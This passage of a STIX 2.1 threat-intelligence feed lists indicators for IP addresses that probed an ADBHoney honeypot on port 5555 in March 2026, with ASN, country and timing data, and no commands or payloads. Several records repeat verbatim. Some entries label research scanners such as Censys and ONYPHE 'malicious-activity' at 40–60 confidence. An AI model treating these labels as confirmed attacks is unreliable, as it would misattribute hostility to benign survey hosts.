          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-11T02:43:50.000Z | last_seen=2026-03-11T02:55:25.033Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--24495265-c15c-452d-9854-5d4a4a3c4db9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:00:03.000Z",
      "valid_until": "2026-04-12T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-11T02:43:50.000Z",
          "last_seen": "2026-03-11T02:55:25.033Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-11T02:30:55.000Z | last_seen=2026-03-11T02:32:13.557Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--7525bcf1-4314-4c0f-ac68-da2286508080",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:00:03.000Z",
      "valid_until": "2026-04-12T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-11T02:30:55.000Z",
          "last_seen": "2026-03-11T02:32:13.557Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-11T03:46:26.000Z | last_seen=2026-03-11T03:47:31.374Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a762a3f9-c294-49b9-a40b-c077f169244c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:00:03.000Z",
      "valid_until": "2026-04-12T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-11T03:46:26.000Z",
          "last_seen": "2026-03-11T03:47:31.374Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T04:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-11T03:46:26.000Z | last_seen=2026-03-11T03:47:31.374Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a762a3f9-c294-49b9-a40b-c077f169244c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:00:10.000Z",
      "valid_until": "2026-04-12T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-11T03:46:26.000Z",
          "last_seen": "2026-03-11T03:47:31.374Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-11T10:07:16.000Z | last_seen=2026-03-11T10:08:20.221Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--6d05db9a-5d64-433c-8261-2dff38a56b42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.248.235.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:00:02.000Z",
      "valid_until": "2026-04-12T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-11T10:07:16.000Z",
          "last_seen": "2026-03-11T10:08:20.221Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-11T10:07:16.000Z | last_seen=2026-03-11T10:08:20.221Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--6d05db9a-5d64-433c-8261-2dff38a56b42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.248.235.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:00:02.000Z",
      "valid_until": "2026-04-12T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-11T10:07:16.000Z",
          "last_seen": "2026-03-11T10:08:20.221Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-11T11:26:22.000Z | last_seen=2026-03-11T13:07:20.444Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--bc058dbb-0bbc-4436-973f-09ba12731b78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.40.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:00:02.000Z",
      "valid_until": "2026-04-12T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-11T11:26:22.000Z",
          "last_seen": "2026-03-11T13:07:20.444Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-11T11:50:31.000Z | last_seen=2026-03-11T12:00:50.179Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--76092486-8b74-43d7-a2e6-230ef1e3123a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:00:02.000Z",
      "valid_until": "2026-04-12T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-11T11:50:31.000Z",
          "last_seen": "2026-03-11T12:00:50.179Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-11T11:50:30.000Z | last_seen=2026-03-11T12:00:40.268Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--fd1ec240-cb5c-4fe3-bf3e-b2b9ceeaca40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:00:02.000Z",
      "valid_until": "2026-04-12T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-11T11:50:30.000Z",
          "last_seen": "2026-03-11T12:00:40.268Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-11T11:26:22.000Z | last_seen=2026-03-11T13:07:20.444Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--bc058dbb-0bbc-4436-973f-09ba12731b78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.40.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:00:02.000Z",
      "valid_until": "2026-04-12T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-11T11:26:22.000Z",
          "last_seen": "2026-03-11T13:07:20.444Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-11T11:50:31.000Z | last_seen=2026-03-11T12:00:50.179Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--76092486-8b74-43d7-a2e6-230ef1e3123a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:00:02.000Z",
      "valid_until": "2026-04-12T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-11T11:50:31.000Z",
          "last_seen": "2026-03-11T12:00:50.179Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-11T11:50:30.000Z | last_seen=2026-03-11T12:00:40.268Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--fd1ec240-cb5c-4fe3-bf3e-b2b9ceeaca40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:00:02.000Z",
      "valid_until": "2026-04-12T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-11T11:50:30.000Z",
          "last_seen": "2026-03-11T12:00:40.268Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-11T12:03:01.000Z | last_seen=2026-03-11T12:04:09.354Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a99da0d4-a0a7-403b-8b53-a90d1418e7e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.172.248.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:00:02.000Z",
      "valid_until": "2026-04-12T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-11T12:03:01.000Z",
          "last_seen": "2026-03-11T12:04:09.354Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-11T12:03:01.000Z | last_seen=2026-03-11T12:04:09.354Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a99da0d4-a0a7-403b-8b53-a90d1418e7e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.172.248.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T13:00:03.000Z",
      "valid_until": "2026-04-12T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-11T12:03:01.000Z",
          "last_seen": "2026-03-11T12:04:09.354Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-11T13:11:23.000Z | last_seen=2026-03-11T13:12:29.985Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c3ff5785-d9f8-4880-8b65-cc12d1a74dbb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.166.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T14:00:03.000Z",
      "valid_until": "2026-04-12T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-11T13:11:23.000Z",
          "last_seen": "2026-03-11T13:12:29.985Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-11T14:45:11.000Z | last_seen=2026-03-11T14:46:16.633Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--6aa7f016-ed49-45bc-89cd-62a0f4c3199a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:00:02.000Z",
      "valid_until": "2026-04-12T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-11T14:45:11.000Z",
          "last_seen": "2026-03-11T14:46:16.633Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T15:00:02.000Z",
